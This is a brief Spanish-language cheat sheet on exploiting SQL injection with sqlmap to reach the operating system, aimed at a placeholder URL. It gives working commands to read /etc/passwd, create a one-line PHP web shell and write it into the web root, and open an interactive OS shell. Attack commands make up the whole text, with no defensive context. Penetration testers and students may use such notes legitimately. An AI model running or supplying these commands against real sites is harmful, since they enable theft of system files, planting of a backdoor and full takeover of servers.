Explotación OS (SQLMAP)

Leer Archivos

terminal
$ sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"

Escribir Archivos

bash
$ echo '<?php system($_GET["cmd"]); ?>' > shell.php$ sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"

Ejecución de Comandos en el SO

terminal
$ sqlmap -u "http://www.example.com/?id=1" --os-shell